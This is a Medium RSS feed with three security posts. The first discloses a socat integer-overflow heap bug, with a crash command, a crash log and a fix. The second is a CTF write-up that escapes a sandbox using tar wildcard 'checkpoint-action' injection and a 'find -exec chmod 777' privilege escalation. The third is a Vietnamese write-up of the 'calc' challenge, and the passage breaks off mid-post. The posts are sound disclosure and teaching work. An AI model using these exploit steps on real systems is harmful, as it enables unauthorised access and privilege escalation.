<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lê Hiếu on Medium]]></title>
        <description><![CDATA[Stories by Lê Hiếu on Medium]]></description>
        <link>https://medium.com/@natsu2912?source=rss-632e34a27d8d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*JH0-SK80LoROYvA7</url>
            <title>Stories by Lê Hiếu on Medium</title>
            <link>https://medium.com/@natsu2912?source=rss-632e34a27d8d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 01:10:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@natsu2912/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Socat 1.7.3.4 — Heap-Based Overflow due to Integer Overflow and Lack of PIE, Full RELRO mitigations]]></title>
            <link>https://medium.com/@natsu2912/socat-1-7-3-4-heap-based-overflow-due-to-integer-overflow-and-lack-of-pie-full-relro-mitigation-eae5fe4f9f25?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/eae5fe4f9f25</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[socat]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[integer-overflow]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Wed, 19 Feb 2020 16:56:48 GMT</pubDate>
            <atom:updated>2020-02-20T15:08:21.340Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Socat 1.7.3.4 — Heap-Based Overflow due to Integer Overflow and Lack of PIE, Full RELRO mitigations</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tuACDMJd25pNQ0FLd_PsZQ.png" /></figure><pre>------- [***Description***] -------<br>The source code of socat.c contains _socat() function which has the Integer Overflow vulnerability:</pre><pre>    int _socat(void) {<br>        ...<br>        unsigned char *buff;<br>        ...<br>        buff = Malloc(2*socat_opts.bufsiz+1)<br>        ...<br>    }</pre><pre>After that, the the line of code &quot;if ((bytes2 = xiotransfer(sock2, sock1, &amp;buff, socat_opts.bufsiz, true)) &lt; 0) {&quot; calls the xiotransfer() function. The xiotransfer() function calls xioread() function. Finally xioread() function calls Read() function:</pre><pre>    ssize_t xioread(xiofile_t *file, void *buff, size_t bufsiz) {<br>        ...<br>        Read(pipe-&gt;fd, buff, bufsiz); //[***!!!This line of code leads to Heap-Based Overflow vulnerability***!!!]<br>        ...<br>    }</pre><pre>In addition, the &quot;Makefile&quot; file does not turn on the Position Independent Executables (PIE) mitigation and does not have Full RELRO (Relocation Read-Only) protection (the CFLAGS does not contains &quot;-pie&quot; flag and &quot;-Wl,-z,relro,-z,now&quot; flag). By default, Ubuntu 16.04 does not turn on these mitigations. Consequently, it is easier to exploit the program, may even lead to Remode Code Execution (RCE).</pre><pre>------- [***Download and build***] -------<br>Download link: <a href="http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz">http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz</a><br>$ tar xzvf socat-1.7.3.4.tar.gz<br>$ cd socat-1.7.3.4/<br>$ ./configure<br>Modify &quot;Makefile&quot; file: &quot;CFLAGS = -g -O -D_GNU_SOURCE -Wall -Wno-parentheses $(CCOPTS) $(DEFS) $(CPPFLAGS)&quot; (add &quot;-g&quot; flag for debugging purpose)<br>$ make<br>$ sudo make install</pre><pre>------- [***Proof of Concept***] -------<br>$ checksec socat<br>[*] &#39;/home/natsu/temp/socat-1.7.3.4/socat&#39;<br>    Arch:     amd64-64-little<br>    RELRO:    Partial RELRO<br>    Stack:    Canary found<br>    NX:       NX enabled<br>    PIE:      No PIE (0x400000)<br>    FORTIFY:  Enabled<br>&gt;&gt;&gt; There is no PIE mitigation! Partial RELRO is not enough! (Full RELRO is needed)</pre><pre>$ python -c &#39;print &quot;A&quot;*1000000&#39; &gt; a<br>$ touch b<br>$ socat -b9223372036854775888 OPEN:a,readbytes=1000000 OPEN:b,readbytes=1000000</pre><pre>This proof of concept triggers the bugs by setting the buffer size to 0x8000000000000050(9223372036854775888 in decimal). Therefore, the malloc size is passed to &quot;Malloc(2*socat_opts.bufsiz+1)&quot; is 0x100000000000000a0. This is equivalent to Malloc(0xa0).<br>The readbytes(&quot;readbytes=1000000&quot;) controls the size of reading (we cannot read with the size too large as 0x8000000000000050) with these lines of code:<br>    if (pipe-&gt;readbytes) {<br>        if (pipe-&gt;actbytes == 0) {<br>            return 0;<br>        }<br>        if (pipe-&gt;actbytes &lt; bufsiz) {<br>            bufsiz = pipe-&gt;actbytes;<br>        }<br>    }</pre><pre>------- [***Crash logs***] -------<br>*** Error in `socat&#39;: free(): invalid next size (normal): 0x000000000106a110 ***<br>======= Backtrace: =========<br>/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7fc0ee5817e5]<br>/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7fc0ee58a37a]<br>/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fc0ee58e53c]<br>socat[0x407e3f]<br>socat[0x4084c6]<br>socat[0x408f7a]<br>/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7fc0ee52a830]<br>socat[0x4057a9]<br>======= Memory map: ========<br>00400000-0044a000 r-xp 00000000 08:01 655643                             /usr/local/bin/socat<br>00649000-0064a000 r--p 00049000 08:01 655643                             /usr/local/bin/socat<br>0064a000-0064b000 rw-p 0004a000 08:01 655643                             /usr/local/bin/socat<br>0064b000-0068c000 rw-p 00000000 00:00 0 <br>01069000-0108a000 rw-p 00000000 00:00 0                                  [heap]<br>7fc0e8000000-7fc0e8021000 rw-p 00000000 00:00 0 <br>7fc0e8021000-7fc0ec000000 ---p 00000000 00:00 0 <br>7fc0eded3000-7fc0edee9000 r-xp 00000000 08:01 397801                     /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fc0edee9000-7fc0ee0e8000 ---p 00016000 08:01 397801                     /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fc0ee0e8000-7fc0ee0e9000 rw-p 00015000 08:01 397801                     /lib/x86_64-linux-gnu/libgcc_s.so.1<br>7fc0ee0e9000-7fc0ee0ec000 r-xp 00000000 08:01 397787                     /lib/x86_64-linux-gnu/<a href="http://libdl-2.23.so/">libdl-2.23.so</a><br>7fc0ee0ec000-7fc0ee2eb000 ---p 00003000 08:01 397787                     /lib/x86_64-linux-gnu/<a href="http://libdl-2.23.so/">libdl-2.23.so</a><br>7fc0ee2eb000-7fc0ee2ec000 r--p 00002000 08:01 397787                     /lib/x86_64-linux-gnu/<a href="http://libdl-2.23.so/">libdl-2.23.so</a><br>7fc0ee2ec000-7fc0ee2ed000 rw-p 00003000 08:01 397787                     /lib/x86_64-linux-gnu/<a href="http://libdl-2.23.so/">libdl-2.23.so</a><br>7fc0ee2ed000-7fc0ee305000 r-xp 00000000 08:01 397909                     /lib/x86_64-linux-gnu/<a href="http://libpthread-2.23.so/">libpthread-2.23.so</a><br>7fc0ee305000-7fc0ee504000 ---p 00018000 08:01 397909                     /lib/x86_64-linux-gnu/<a href="http://libpthread-2.23.so/">libpthread-2.23.so</a><br>7fc0ee504000-7fc0ee505000 r--p 00017000 08:01 397909                     /lib/x86_64-linux-gnu/<a href="http://libpthread-2.23.so/">libpthread-2.23.so</a><br>7fc0ee505000-7fc0ee506000 rw-p 00018000 08:01 397909                     /lib/x86_64-linux-gnu/<a href="http://libpthread-2.23.so/">libpthread-2.23.so</a><br>7fc0ee506000-7fc0ee50a000 rw-p 00000000 00:00 0 <br>7fc0ee50a000-7fc0ee6ca000 r-xp 00000000 08:01 397763                     /lib/x86_64-linux-gnu/<a href="http://libc-2.23.so/">libc-2.23.so</a><br>7fc0ee6ca000-7fc0ee8ca000 ---p 001c0000 08:01 397763                     /lib/x86_64-linux-gnu/<a href="http://libc-2.23.so/">libc-2.23.so</a><br>7fc0ee8ca000-7fc0ee8ce000 r--p 001c0000 08:01 397763                     /lib/x86_64-linux-gnu/<a href="http://libc-2.23.so/">libc-2.23.so</a><br>7fc0ee8ce000-7fc0ee8d0000 rw-p 001c4000 08:01 397763                     /lib/x86_64-linux-gnu/<a href="http://libc-2.23.so/">libc-2.23.so</a><br>7fc0ee8d0000-7fc0ee8d4000 rw-p 00000000 00:00 0 <br>7fc0ee8d4000-7fc0eeaef000 r-xp 00000000 08:01 397619                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0<br>7fc0eeaef000-7fc0eecee000 ---p 0021b000 08:01 397619                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0<br>7fc0eecee000-7fc0eed0a000 r--p 0021a000 08:01 397619                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0<br>7fc0eed0a000-7fc0eed16000 rw-p 00236000 08:01 397619                     /lib/x86_64-linux-gnu/libcrypto.so.1.0.0<br>7fc0eed16000-7fc0eed19000 rw-p 00000000 00:00 0 <br>7fc0eed19000-7fc0eed77000 r-xp 00000000 08:01 397620                     /lib/x86_64-linux-gnu/libssl.so.1.0.0<br>7fc0eed77000-7fc0eef77000 ---p 0005e000 08:01 397620                     /lib/x86_64-linux-gnu/libssl.so.1.0.0<br>7fc0eef77000-7fc0eef7b000 r--p 0005e000 08:01 397620                     /lib/x86_64-linux-gnu/libssl.so.1.0.0<br>7fc0eef7b000-7fc0eef82000 rw-p 00062000 08:01 397620                     /lib/x86_64-linux-gnu/libssl.so.1.0.0<br>7fc0eef82000-7fc0eef84000 r-xp 00000000 08:01 397944                     /lib/x86_64-linux-gnu/<a href="http://libutil-2.23.so/">libutil-2.23.so</a><br>7fc0eef84000-7fc0ef183000 ---p 00002000 08:01 397944                     /lib/x86_64-linux-gnu/<a href="http://libutil-2.23.so/">libutil-2.23.so</a><br>7fc0ef183000-7fc0ef184000 r--p 00001000 08:01 397944                     /lib/x86_64-linux-gnu/<a href="http://libutil-2.23.so/">libutil-2.23.so</a><br>7fc0ef184000-7fc0ef185000 rw-p 00002000 08:01 397944                     /lib/x86_64-linux-gnu/<a href="http://libutil-2.23.so/">libutil-2.23.so</a><br>7fc0ef185000-7fc0ef18c000 r-xp 00000000 08:01 397917                     /lib/x86_64-linux-gnu/<a href="http://librt-2.23.so/">librt-2.23.so</a><br>7fc0ef18c000-7fc0ef38b000 ---p 00007000 08:01 397917                     /lib/x86_64-linux-gnu/<a href="http://librt-2.23.so/">librt-2.23.so</a><br>7fc0ef38b000-7fc0ef38c000 r--p 00006000 08:01 397917                     /lib/x86_64-linux-gnu/<a href="http://librt-2.23.so/">librt-2.23.so</a><br>7fc0ef38c000-7fc0ef38d000 rw-p 00007000 08:01 397917                     /lib/x86_64-linux-gnu/<a href="http://librt-2.23.so/">librt-2.23.so</a><br>7fc0ef38d000-7fc0ef3b3000 r-xp 00000000 08:01 397735                     /lib/x86_64-linux-gnu/<a href="http://ld-2.23.so/">ld-2.23.so</a><br>7fc0ef594000-7fc0ef59a000 rw-p 00000000 00:00 0 <br>7fc0ef5b1000-7fc0ef5b2000 rw-p 00000000 00:00 0 <br>7fc0ef5b2000-7fc0ef5b3000 r--p 00025000 08:01 397735                     /lib/x86_64-linux-gnu/<a href="http://ld-2.23.so/">ld-2.23.so</a><br>7fc0ef5b3000-7fc0ef5b4000 rw-p 00026000 08:01 397735                     /lib/x86_64-linux-gnu/<a href="http://ld-2.23.so/">ld-2.23.so</a><br>7fc0ef5b4000-7fc0ef5b5000 rw-p 00000000 00:00 0 <br>7ffe11dd9000-7ffe11dfa000 rw-p 00000000 00:00 0                          [stack]<br>7ffe11dfb000-7ffe11dfe000 r--p 00000000 00:00 0                          [vvar]<br>7ffe11dfe000-7ffe11e00000 r-xp 00000000 00:00 0                          [vdso]<br>ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]<br>2020/02/04 05:33:00 socat[47233] E exiting on signal 6</pre><p>Below are my scripts for RCE Proof of Concept:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/48431d3f4dfb34fdb41b60be1e85255c/href">https://medium.com/media/48431d3f4dfb34fdb41b60be1e85255c/href</a></iframe><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/0f2c052b7b5304310349ed8117f311b0/href">https://medium.com/media/0f2c052b7b5304310349ed8117f311b0/href</a></iframe><p>&gt;&gt;&gt; First, modify the PATH variable in client1.py script to the path to the socat executable.<br>&gt;&gt;&gt; In first terminal: ./client1.py<br>&gt;&gt;&gt; In second terminal: ./client2.py<br>&gt;&gt;&gt; In third terminal: socat -b9223372036854775832 TCP:localhost:4444,readbytes=64680 TCP:localhost:5555,readbytes=64680,crnl</p><p>Now we should have shell in the third terminal (the big left one) like this image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*APDYnIE52vxRVwOmemVVMA.png" /></figure><pre>------- [***Solution***] -------<br>First, we should add &quot;-pie&quot; and &quot;-Wl,-z,relro,-z,now&quot; flags for CFLAGS in the Makefile.</pre><pre>Finally, we can fix the Integer Overflow issue by defining MAX_BUF_SIZE like this:<br>/* Begin */<br>    ...<br>    #define MAX_BUF_SIZE 0xffffffff<br>    ...<br>    socat_opts.bufsiz = strtoul(a, (char **)&amp;a, 0);<br>    if (socat_opts.bufsiz &gt; MAX_BUF_SIZE) {<br>        puts(&quot;&lt;Notification Here&gt;&quot;);<br>        exit(-1);<br>    }<br>...<br>/* End */</pre><p>Report timeline:<br>03/02/2020: Discovered the vulnerability<br>18/02/2020: Vendor confirmed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqEsSKrG_jKhNHM6DgRJGA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eae5fe4f9f25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Prisonbreak version 2 — ISITDTU CTF Final 2019]]></title>
            <link>https://medium.com/@natsu2912/prisonbreak-version-2-isitdtu-ctf-final-2019-996ec138fe74?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/996ec138fe74</guid>
            <category><![CDATA[pwnable]]></category>
            <category><![CDATA[prison-break]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[isitdtu]]></category>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Tue, 17 Sep 2019 08:26:32 GMT</pubDate>
            <atom:updated>2019-11-03T16:40:18.678Z</atom:updated>
            <content:encoded><![CDATA[<h3>Prisonbreak version 2 - ISITDTU CTF Final 2019</h3><p>Sorry for bad English ✌️</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wjDuSBx2m5c12a8WJy-N8Q.jpeg" /></figure><p>After about a week in the prison, I finally found a way out few days ago.</p><p>We have a docker image of the prison, so let’s explore it.</p><p>There are 5 important files:</p><ol><li>/init.sh: Configure iptables service for the server</li><li>/run.sh: This file will run whenever we netcat to server via port 1337</li><li>/home/prisonbreak/backend.py: The python file which is called in the /run.sh file</li><li>/home/prisonbreak/prisonbreak: The ELF file which is called in the backend.py file.</li><li>/lincoln_burrows: The flag file which we want to read.</li><li>/init.sh</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*l64iA1HLcZNC34x5ac_wKQ.png" /></figure><p>So the server refuses all new connections except the ones from port 1337. Finally, it starts cron service.</p><p>After looking carefully at the crontab files, we can notice this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*Vh1z0TBCddPiqizZDqgoBA.png" /></figure><p>Every minute, the root user executes the /root/backup.sh file. After googling it, we can notice that the command “tar cf /root/log.tgz *” can be abused with Wildcard vulnerability.<br>Reference: <a href="https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/">https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/</a></p><p>Let’s see what we have in the /home/prisonbreak/log directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*fgl-QDJVHsyTYKmtG5yzaw.png" /></figure><p>To exploit the “tar” command, we can create 2 new files “--checkpoint=1” and “--checkpoint-action=exec=sh payload.log” and put a command into the payload.log file. When root executes the “tar” command, it will execute the commands in file payload.log as a ROOT user.</p><p>2. /run.sh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*TTdab6BkRc3hrk5Msw5YPA.png" /></figure><p>Whenever we connect to server, it runs this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*AByHGS20GEXFYLQvA2oyjg.png" /></figure><p>This program will chroot into /home/prisonbreak directory as the prisonbreak user (uid=1000, gid=1000, groups=1000) so as to run “python3 /backend.py 2&gt;/dev/null” command.</p><p>3. /home/prisonbreak/backend.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*4gshMAP1k6ZXr18wp4iYxQ.png" /></figure><p>This file gets a string, encode it and run the /prisonbreak file. Let’s try to input something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*obk2gjO17Vq8qq-T6JTtWQ.png" /></figure><p>Oops! The program return an exception. It turns out the input string must be valid UTF-8!<br>Reference: <a href="https://www.cl.cam.ac.uk/~mgk25/unicode.html">https://www.cl.cam.ac.uk/~mgk25/unicode.html</a></p><p>4. /home/prisonbreak/prisonbreak</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*ki1eOfTSVNc3Dl5Iw3yTog.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*MbH1h0asED3qPpfQ2pj3xw.png" /></figure><p>This program receives 0x500 bytes input, replaces it with 0xcc bytes and finally calls it.</p><p>The main direction of this challange is to input a shellcode string to exploit the server.</p><p>However, our shellcode must be in UTF-8 format.<br>Reference: <a href="http://phrack.org/issues/62/9.html">http://phrack.org/issues/62/9.html</a></p><p>My shellcode have 2 steps:<br>Step 1: Read the shellcode again to remove 0xcc bytes<br>Step 2: Call execve(“/bin/bash”, 0, 0); <br>Each step occupies 0x500 bytes. At the end of this shellcode, we can append only 1 command line for /bin/bash program because of the input() function of backend.py<br>Therefore, payload = shellcode(step1 + step2) + /bin/bash command. The more bash command we want to execute, the more attempts we need to connect to the server.</p><p>I will write another post about how to write 64-bit UTF-8 shellcode later if I have free time. Assume that we have the shellcode part of the payload now.</p><p>We can execute a command line each time we connect to server. And what should we do now?<br>Remind that the server has the Wildcard vulnerability in /root/backup.sh file. To exploit it, we need to create 2 new files named “--checkpoint=1” and “--checkpoint-action=exec=sh payload.log” in directory /home/prisonbreak/log and put the command we want the root user to execute into the file /home/prisonbreak/log/payload.log</p><p>What do we want the root user to execute? My idea is to make the root copy the flag file /lincoln_burrows to the /home/prisonbreak directory.</p><p>First, we need to find the way to create files in directory /home/prisonbreak/log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*1navAP6QoJvbPqzopZm0fw.png" /></figure><p>Unfortunately, prisonbreak user has no write permission in this directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*p3ahqSnLizyeFxKI6RTJyA.png" /></figure><p>I found an interesting program later! We can execute “find” program with effective user id (euid)= 0 and effective group id (egid) = 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*WNmtn4yUK7o6u-9A_oYXHw.png" /></figure><p>So “find -exec find -exec chmod 777 log \;” give prisonbreak user write permission in the /home/prisonbreak/log directory.</p><p>After creating 2 files we need, we overwrite the payload.log file with this line “cp /lincoln_burrows /home/prisonbreak”.<br>Wait a minute and the flag file will be in the /home/prisonbreak directory like this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/731/1*MJnRVEIvPqCtYCsMIG9Ftw.png" /></figure><p>One more step to go. Overwrite backend.py file to force it to print the content of the flag file.</p><p>First, “find -exec chmod 777 backend.py \;” to have write permisson on this file. And then, “echo “print(open(\’lincoln_burrows\’, \’r\’).read())” &gt; backend.py” to overwrite content of the backend.py file.</p><p>Finally, netcat the server and get flag easily!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*VvRZBMZFGxH6u0DtytoYJQ.png" /></figure><p>Proof of Concept:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5f64c11fbd2fb82c2074223c352d7a22/href">https://medium.com/media/5f64c11fbd2fb82c2074223c352d7a22/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=996ec138fe74" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[calc — pwnable.tw]]></title>
            <link>https://medium.com/@natsu2912/calc-pwnable-tw-bf2d32061ae3?source=rss-632e34a27d8d------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf2d32061ae3</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[stackoverflow]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[pwnabletw]]></category>
            <dc:creator><![CDATA[Lê Hiếu]]></dc:creator>
            <pubDate>Thu, 20 Jun 2019 14:07:18 GMT</pubDate>
            <atom:updated>2019-06-28T03:41:32.956Z</atom:updated>
            <content:encoded><![CDATA[<h3>calc — pwnable.tw</h3><p>Challenge này thật sự không khó nếu chúng ta có khả năng reverse tốt, còn ngược lại thì....</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*Si2E3naI4A7U9_U_Brd_1g.png" /></figure><p>nc chall.pwnable.tw 10100<br>Binary: <a href="https://github.com/natsu2912/pwnable.tw/tree/master/calc">https://github.com/natsu2912/pwnable.tw/tree/master/calc/calc</a></p><p>Như vậy tất cả những thứ chúng ta có là file elf :v</p><p>Qua output của chương trình, ta thấy rõ đây là một chương trình mô phỏng máy tính cầm tay. Với những phép tính cộng trừ đơn giản thì chương trình luôn cho ra output đúng. Nhưng có một số phép tính sẽ cho ra output ngoài ý muốn và đó chắc chắn là lỗi của chương trình.</p><p>Bài này sẽ rất dễ với những ai có khả năng reverse tốt, còn ngược lại thì khó có thể làm được bài này vì chúng ta có thể nhận ra lỗi của chương trình nhưng không hiểu được vì sao nó bị lỗi và làm sao khai thác được lỗi đó.</p><p>Để làm được bài này, mình đã tham khảo writeup ở trên mạng. Mình sẽ để link tham khảo ở cuối bài.</p><p>OK! Mình sẽ chia bài này làm 2 giai đoạn:<br>1. Tìm hiểu, phân tích lỗi và cách khai thác lỗi của chương trình<br>2. Exploit!</p><p>Dưới đây mình sẽ sử dụng pseudo code của các hàm calc, get_expr, và eval được tạo từ IDA Pro, sau đó mình đem qua sublime text và đổi tên một số biến cho dễ đọc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*XSI3Kmst7tgWAg49CAIgaQ.png" /><figcaption>calc()</figcaption></figure><p>1a. Phân tích hàm calc():<br>Ở hàm này chúng ta có biến count và mảng numbers[100] và biến char s. Chú ý là biến count nằm ở ngay phía trước mảng numbers (địa chỉ của count là $ebp-0x5a0, của numbers là $ebp- 0x59c).<br>Hàm calc() sẽ zero out 0x400 bytes tính từ địa chỉ của biến s, sau đó vào hàm get_expr() để nhận chuỗi kí tự ta đưa vào chuỗi s. Lưu ý rằng hàm get_expr chỉ nhận những kí tự: &#39;0&#39;, &#39;1&#39;, &#39;2&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;, &#39;6&#39;, &#39;7&#39;, &#39;8&#39;, &#39;9&#39;, &#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;, &#39;%&#39;, còn những kí tự khác thì bị loại bỏ (Mình không phân tích cũng như show pseudo code của hàm này vì nó không cần thiết cho lắm, mình chỉ show code của những hàm quan trọng).<br>Sau đó, calc() sẽ vào hàm init_pool() để zero out 100 bytes tính từ địa chỉ của biến count.<br>Tiếp đến, calc() sẽ vào hàm parse_expr() để tính toán biểu thức toán chúng ta nhập vào chuỗi s. Cuối cùng, hàm này xuất ra numbers[count-1], cũng chính là kết quả của biểu thức toán.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*hjs8WqUrsjqLs5MT8h7CfQ.png" /><figcaption>parse_expr()</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*0SiQdzMjiRtnJELzCemE6A.png" /><figcaption>parse_expr()</figcaption></figure><p>1b. Phân tích hàm parse_expr():</p><p>Mình sẽ tóm tắt những gì parse_expr() sẽ làm bằng ví dụ cho dễ hình dung.</p><p>Ví dụ khi ta nhập chuỗi : 1+2+3<br>1. Biến count += 1 và số 1 được đưa vào numbers[0], cũng chính là count[1]<br>&lt;addr_count&gt;: 0x0001 0x0001 0x0000 0x0000<br>2. Biến count +=1 và số 2 được đưa vào numbers[1], cũng chính là count[2]<br>&lt;addr_count&gt;: 0x0002 0x0001 0x0002 0x0000<br>3. Chương trình đi vào hàm eval() để tính phép toán 1 + 2 = 3 và đưa giá trị 3 vào numbers[0], biến count -= 1<br>&lt;addr_count&gt;: 0x0001 0x0003 0x0002 0x0000<br>4. Biến count +=1 và số 3được đưa vào numbers[1], cũng chính là count[2]<br>&lt;addr_count&gt;: 0x0002 0x0003 0x0003 0x0000<br>5. Chương trình đi vào hàm eval() để tính phép toán 3+ 3= 6và đưa giá trị 6 vào numbers[0], biến count -= 1<br>&lt;addr_count&gt;: 0x0001 0x0006 0x0003 0x0000<br>Kết thúc.<br>Lưu ý: khi ta nhập những biểu thức phức tạp như: 1+2*3+4*5 thì hàm parse_expr() sẽ làm nhiều việc hơn, như là giải quyết độ ưu tiên của phép toán (nhân chia trước, cộng trừ sau). Nhưng những thứ này không cần thiết, và không liên quan đến cách chúng ta khai thác lỗi của chương trình.</p><p>Như đã phân tích ở trên, sau khi gọi xong hàm parse_expr(), hàm sẽ printf giá trị của numbers[count - 1], lúc này count = 1, và numbers[1–1] = numbers[0] = 6, nên kết quả in ra sẽ là 6. Đúng với kết quả của biểu thức toán 1+2+3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*5NBTwHf4JPQuAhuvdZxkSQ.png" /><figcaption>eval()</figcaption></figure><p>1c. Phân tích hàm eval():<br>Hàm này đơn giản là thực hiện phép toán &quot;operator&quot; (+ hoặc - hoặc * hoặc /)<br>giữa count[*count-1] và count[*count], tương đương giữa number[*count-2] và numbers[*count-1] rồi lưu kết quả vào numbers[*count-1]<br>Cuối cùng, count -= 1 (Ở phần phân tích hàm parse_expr() phía trên, sau mỗi phép tính thì count đều -= 1, thật ra điều này xảy ra ở trong hàm eval())</p><p>1d. Phân tích lỗi:<br>Lỗi xuất hiện khi ta nhập biểu thức có dạng +[...], ví dụ: +1, +500</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*IJ_U5jI9nswwc6RIc-nJVA.png" /></figure><p>Ví dụ ta nhập +500:<br>1. Biến count += 1 và số 500 được đưa vào numbers[0], cũng chính là count[1]<br>&lt;addr_count&gt;: 0x0001 0x01f4 0x0000 0x0000<br>2. Chương trình đi vào hàm eval() để tính phép toán 1+ 500= 501và đưa giá trị 501vào <strong>COUNT</strong>, biến count -= 1 =&gt; count = 500<br>&lt;addr_count&gt;: 0x01f4 0x01f4 0x0000 0x0000<br>3. Chương trình printf giá trị numbers[count - 1] = numbers[500–1] = numbers[499] = 1000</p><p>Như vậy, chúng ta có thể leak địa giá trị ở bất kì địa chỉ nào tùy ý.</p><p>Tiếp theo sẽ còn điều thú vị hơn nữa 😆</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*aeoPoc9iTCAoMLvGonk1pA.png" /></figure><p>Ví dụ ta nhập +500+1:<br>1. Biến count += 1 và số 500 được đưa vào numbers[0], cũng chính là count[1]<br>&lt;addr_count&gt;: 0x0001 0x01f4 0x0000 0x0000<br>2. Chương trình đi vào hàm eval() để tính phép toán 1+ 500= 501và đưa giá trị 501 vào <strong>COUNT</strong>, biến count -= 1<br>&lt;addr_count&gt;: 0x01f4 0x01f4 0x0000 0x0000<br>&lt;addr_numbers[499]&gt;: 0x03e8 (0x3e8 = 1000)<br>3. Biến count += 1 và số 1 được đưa vào numbers[500], cũng chính là count[501]<br>&lt;addr_count&gt;: 0x01f5 0x01f4 0x0000 0x0000<br>&lt;addr_numbers[499]&gt;: 0x03e8 0x0001<br>4. Chương trình đi vào hàm eval() để tính phép toán 1000 + 1= 1001 và đưa giá trị 1001 vào <strong>numbers[499]</strong>, biến count -= 1<br>&lt;addr_count&gt;: 0x01f4 0x01f4 0x0000 0x0000<br>&lt;addr_numbers[499]&gt;: 0x03e9 0x0001<br>5. Chương trình printf giá trị numbers[count — 1] = numbers[500–1] = numbers[499] = 1001</p><p>Như ta thấy, giá trị của numbers[499] bị thay đổi từ 1000 thành 1001. Vậy chúng ta có thể thay đổi giá trị tại địa chỉ bất kì.</p><p>2. Exploit!<br>Chúng ta sẽ thay đổi giá trị của stack để redirect chương trình đến execve([&quot;/bin/sh&quot;] , NULL, NULL)</p><figure><img alt="" 